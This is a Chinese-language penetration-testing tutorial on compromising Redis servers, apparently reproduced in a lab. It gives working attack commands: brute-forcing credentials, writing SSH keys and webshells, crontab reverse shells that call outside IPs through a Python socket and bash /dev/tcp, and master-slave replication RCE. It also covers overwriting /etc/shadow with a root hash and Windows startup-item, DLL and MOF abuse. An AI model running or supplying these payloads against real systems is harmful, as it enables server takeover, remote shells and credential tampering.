Redis在渗透测试中还是非常常见的,将从几个方面对Redis的渗透测试进行解读,也作为一个小总结。
Redis是一个以Key-Value为主的键值对存储系统,简单的来说就是一个数据库。但是它是一种非关系型数据库,
也叫做缓存型数据库,I/O速度快,适用于高频率读写,短时间内不会改变的数据存放,从而提高用户的请求效率。与之相反的Mysql,oracle类型的数据库叫做关系型数据库,它代表的是持久型数据的读写,速度较慢。
一、Redis配置与一些基础介绍
Redis默认端口为6379
https://www.runoob.com/redis/redis-install.html
1、安装redis
sudo apt-get update
sudo apt-get install redis-server
2、启动redis
redis-server
redis-cli
此时会直连自身的redis服务器
3、Redis的一些基本介绍
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。
String类型最全能,可以包含任何数据
Hash 相当于是一个key可以储存多个 所以一个hash可以有多个键值对
List 允许用户从序列的两端快速推入或者弹出元素,应用场景:最新消息排行(热搜?)
set 无序不可重复,具有唯一性
sortedset 有顺序,不可重复,和set的区别是存在一个参数(排序)与之关联
set key value 设置数据
get key 获取数据
del key 删除这个键值对
4、编辑配置操作
Config Get 配置查看
Config Set 配置修改
Config get dabases 查看数据库
select 5 选择数据库
例如
127.0.0.1:6379> config get slowlog-max-len
1) “slowlog-max-len”
2) “128”
具体更多的操作可以查看 https://www.runoob.com/redis/redis-keys.html
或者这个 http://redisdoc.com/
如果出现一些问题导致写权限不行的话,试一下slaveof no one
二、Redis未授权或弱密码登录
1、安装好redis服务器后
telnet 192.168.111.111 6379 发现存在如下告警
这是由于系统开启了保护模式,需要由本地修改配置才能进行解除,对于未授权访问来说,我们还是比较讨厌看到这个的。
2、解决方法
127.0.0.1:6379> config set protected-mode “no”
此时使用rdm便可直接连接,进行未授权访问
需要注意的是这个保护模式在重启过后会自己再次开起来(至少在Windos下是这样的)
3、弱口令
127.0.0.1:6379> config set requirepass 123456 设置密码
MSF爆破
use auxiliary/scanner/redis/redis_login 可以使用msf-redis爆破模块进行爆破
或者hydra爆破
hydra.exe -vV -P E:\字典\常用密码字典\top2000.txt redis://192.168.204.141:6379
三、Redis普通Getshell
当我们连接上Redis后,那么大概率可以进行Getshell
1、SSH写公钥
条件:
redis以root权限启动
服务器开放了SSH服务,并且允许使用秘钥登录
思路:利用redis未授权访问命令给root账户写入SSH公钥文件,然后通过SSH登录服务器
在攻击机(vps)生成ssh公钥,之后会在/root/.ssh/下生产rsa文件
ssh-keygen -t rsa
将其生成为txt文件
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”)> hack.txt
使用Linux自带的cli设置键值
使用-x参数将hack.txt的内容作为hack键的值
cat hack.txt |redis-cli -h 192.168.204.141 -p 6379 -a 123456 -x set hack
或使用cli工具设置键值
config set dir /root/.ssh/ 设置目录
config set dbfilename authorized_keys 设置名字
set x “\n\n\nxxxxxxxxxxxxxxxxxxxxxxx\n\n\n”
此时键hack内容即为rsa_pub的内容
设置目录
config set dir /root/.ssh 此文件默认不存在,需要执行ssh-keygen -t rsa 或者自行创建
因此,大部分情况下可能都不存在.ssh这个文件
设置名字
config set dbfilename “authorized_keys” 必须为这个
save
SSH连接成功
ssh -i id_rsa -o root@192.168.204.141
还原配置
config set dir /home/cooltige/redis-3.0.0
config set dbfilename dump.rdb
2、直接写Webshell
思路:通过Redis未授权直接写webshell并且知道网站路径,并且具有写权限
环境准备:
root@kali:~# service apache2 start kali一般自带apache
访问这个页面,说明apache服务已经开了,并且kali也是自带php环境的
我们自己写入phpinfo到/var/www/html目录测试下,这样代表了此服务器存在web服务
写Webshell:
首先我们要知道它的路径
设置文件名称
写入shell
set webshell “<?php phpinfo(); echo ‘redis webshell’; ?>”
save
回头看写入成功了。
访问,出现部分乱码是因为从redis导出的是RDB二进制文件,但由于命名为php后缀,又存在Php代码,所以能被服务器所解析,写shell有时候不会成功,原因是redis数据过大,生成的php文件内容超出php能够解析的最大范围,解决这一问题的方法可以将这个redis备份,然后删除,再恢复,就看你大不大胆了。
人有多大胆,地有多大产。
3、Crontab反弹Shell
思路:通过Redis未授权访问写入计划任务Crontab执行命令,反弹Shell
centos 的计划任务是 /var/spool/cron/
ubantus 的计划任务是 /var/spool/cron/crontabs/root
redis——getshell-ubuntu-centos
https://lorexxar.cn/2016/12/03/redis-getshell/#centos
以下来自TIDE安全团队
“””
坑点:
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,
“””
而kali的内核发行版为debian,反正我是没复现成功
/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划,centos大部分都在这个目录下创建root为名的计划任务。
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> get 1
"\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
或者
127.0.0.1:6379> set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.183.1/1111 0>&1\n\n'
127.0.0.1:6379> save
有些乱码,就不行了
【Tips】借用别人的
OS | 计划任务路径 | 生成的计划任务权限 | 能否运行 |
---|---|---|---|
kali | /etc/crontab | 644 | 文件不容错 cron[527]: Error: bad minute; while reading /etc/crontab |
ubuntu | /var/spool/cron/crontabs/root | 644 | 权限被拒 cron[638]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root) |
centos | /var/spool/cron/root |
四、Redis主从复制RCE
Redis主从复制的详解 https://www.cnblogs.com/kismetv/p/9236731.html#t2
简单的来说呢,主从复制就是将一台Redis服务器的数据,复制到另外一台Redis服务器,复制是单向的,前者叫主节点,后者叫从节点。主从复制实际上就是一种热备份,还可以进行负载均衡。主从复制可以在同一台PC机进行,例如主节点为6379端口,从节点为6370端口
利用版本
版本为4.x——5.x
环境部署:
0、下载docker
1、vi /etc/docker/daemon.json (更改镜像源)
{ “registry-mirrors” : [ “https://registry.docker-cn.com“, “https://docker.mirrors.ustc.edu.cn“, “http://hub- mirror.c.163.com”, “https://cr.console.aliyun.com/“ ] }
2、docker pull damonevking/redis5.0
3、docker run -p 6379:6379 -d damonevking/redis5.0:latest redis-server
4、telnet x.x.x.x 6379 测试一下端口是否开放
复现:
假设目标A存在redis未授权访问或者弱口令,且其他getshell方式都失败的情况下,使用主从RCE。
可以使用如下脚本:
https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
https://github.com/Dliv3/redis-rogue-server
1、下载脚本,进入RedisModulSDK make一下生成exp.so
2、可以在linux下生成exp.so然后拖到本地使用
3、python3 redis-master.py -r 192.168.204.141 -p 6379 -L 192.168.204.136 -P 8 888 -f RedisModulesSDK/exp.so -c “id”
防止主从辅助清除数据
Config get dabases 查看数据库
select 5 选择数据库
这样选择数据库后,就只会清空当前数据库的数据
主从复制流程
1.本地编译好外部扩展即so文件
2.把so文件转码存入本地redis数据库
3.到目标服务器上设置主从关系,主服务器指定我们的本地机子
4.待同步后,设置备份路径和备份文件名(xx.so)
5.开始同步,备份数据库
6.然后加载备份数据库
7.然后就可以通过redis执行命令反弹shell了
五、写etc/shadow
- redis以root身份运行
- 目标系统允许root用户远程登录
- 开启了SSH端口
首先是看了https://www.freebuf.com/vuls/148758.html的这篇文章,大佬redis 从/etc/passwd写进去,后来通过ssh直接进行连接,但是在本地复现了许多未成功,写了之后连接sshd直接显示服务错误,连不上,只能进行passwd- 的备份恢复。
后来尝试写/etc/shadow文件,一开始也是不行,后来将linux下的shadow文件拖到本地,与本地写的进行对比,发现多了一些长度,发现为Linux下的换行符与Windows下的换行符长度不一导致的,一个为因此后来采用无损写文件的方式,将/etc/shadow进行覆盖写,成功连接ssh root账号。
Windows中:回车符为 \r,回到行首;换行符为 \n,换到当前位置的下一行;
Unix系统中:觉得每行结尾加两个字符没有必要,故结尾只有换行符,即\n;
Mac系统中:每行结尾只有回车符,即\r。
本地redis版本:5.x
1、本地生成密码为AAAa123456.的账号
python -c 'import crypt; print crypt.crypt("AAAa123456.","$6$h")'
生成了
$6$h$EVRAKwDqdFcp3.XgTkPRDP8Zxhucnd0MYAG0kvHN1iSPcE.qeT5EcU5d2yVewmYd4huZeVAOiRTp8vQyRb3Fl/
或者直接用它(记住一定要有回车换行)
root:$6$h$EVRAKwDqdFcp3.XgTkPRDP8Zxhucnd0MYAG0kvHN1iSPcE.qeT5EcU5d2yVewmYd4huZeVAOiRTp8vQyRb3Fl/:18175:0:99999:7:::
然后保存到本地文件,文件的格式要为unix,否则会因为windows和linux的回车换行问题导致错误
2、使用无损写文件脚本RedisWriteFile(去github搜)
python3 RedisWriteFile.py --rhost=192.168.204.136 --rport=6379 --lhost=192.168.204.1 --lport=22222 --rfile=""passwd" --rpath="/etc/" --lfile=shadow --auth=123456
此时本地看一下/etc/shadow,此时已经被覆盖了
我们可以直接进行登录,登录后再使用etc/shadow-恢复即可
六、Windows Redis的几种利用方式
1、刚好对方存在web服务可以访问,并且暴露出了绝对路径,那么就可以使用常规的web写马getshell方式。
2、利用启动项的操作来进行shell的反弹,但是需要重启并且知道对方当前的用户名
3、篡改DLL文件
1、往WEB目录写马
这个无需多言,和Linux的写web马差不多
2、Windows Redis 服务器启动项写马上线
以下是利用工具https://github.com/r35tart/RedisWriteFile进行无损写文件,我们可以利用写入启动项的操作来反弹一个msf马或者cs马(不过写入启动项的操作也会被杀软拦截)
python3 RedisWriteFile.py —rhost=192.168.204.135 —rport=6379 —lhost=192.168.204.1 —lport=4567 —rpath “C:\Users\ice\Desktop” —rfile=”1.txt” —lfile=123.txt
Windows下的启动项位置有
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp(SYSTEM权限才能写入)
C:\Users\ice\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup(普通管理员可写入)
这也就意味着,我们要使当前运行的权限账户足够高,并且能够猜到当前用户名文件夹,才能够利用此方法,并且目标需要进行一次重启(或者0708、ms17010打宕机)才可以利用成功
python RedisWriteFile.py --rhost=192.168.183.128 --rport=6379 --lhost=192.168.1.102 --lport=4567 --rpath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" --rfile="calc.exe" --lfile=calc.exe
2、篡改劫持DLL文件
利用无损写文件劫持DLL
就是找下windows一些系统启动程序运行时需要哪些DLL文件,然后用msf写一个DLL马给他替换掉即可,基本和写启动项类似[
](https://lorexxar.cn/2016/12/03/redis-getshell/#centos)
3、覆写快捷方式
创建一个快捷方式到对方的桌面上,前提是你要知道对方当前的用户名,你才能正确放到对方桌面
快捷方式可以执行你任意想执行的命令
4、MOF
当遇到win server 2003的时候,可以尝试MOF提权,直接往C:/windows/system32/wbem/mof/nullevt.mof里写入脚本,系统会每5秒对该文件进行执行,具体的脚本和MYSQL提权的MOF一样
5、为什么windows redis不能主从复制RCE?
windows也是能主从复制的,但是windows不能主从复制RCE。
我们知道linux的redis主从复制rce需要版本4.x 5.x
但是windows的版本是3.x的,与4.x版本是少了些函数的,如下
通过手动执行MODULE load system.dll然后观察日志,发现日志中提升说不存在RedisModule_OnLoad这个函数
所以正确答案是少了一个moduleonload函数。
参考文档:
https://xz.aliyun.com/t/7974
http://r3start.net/index.php/2020/05/25/717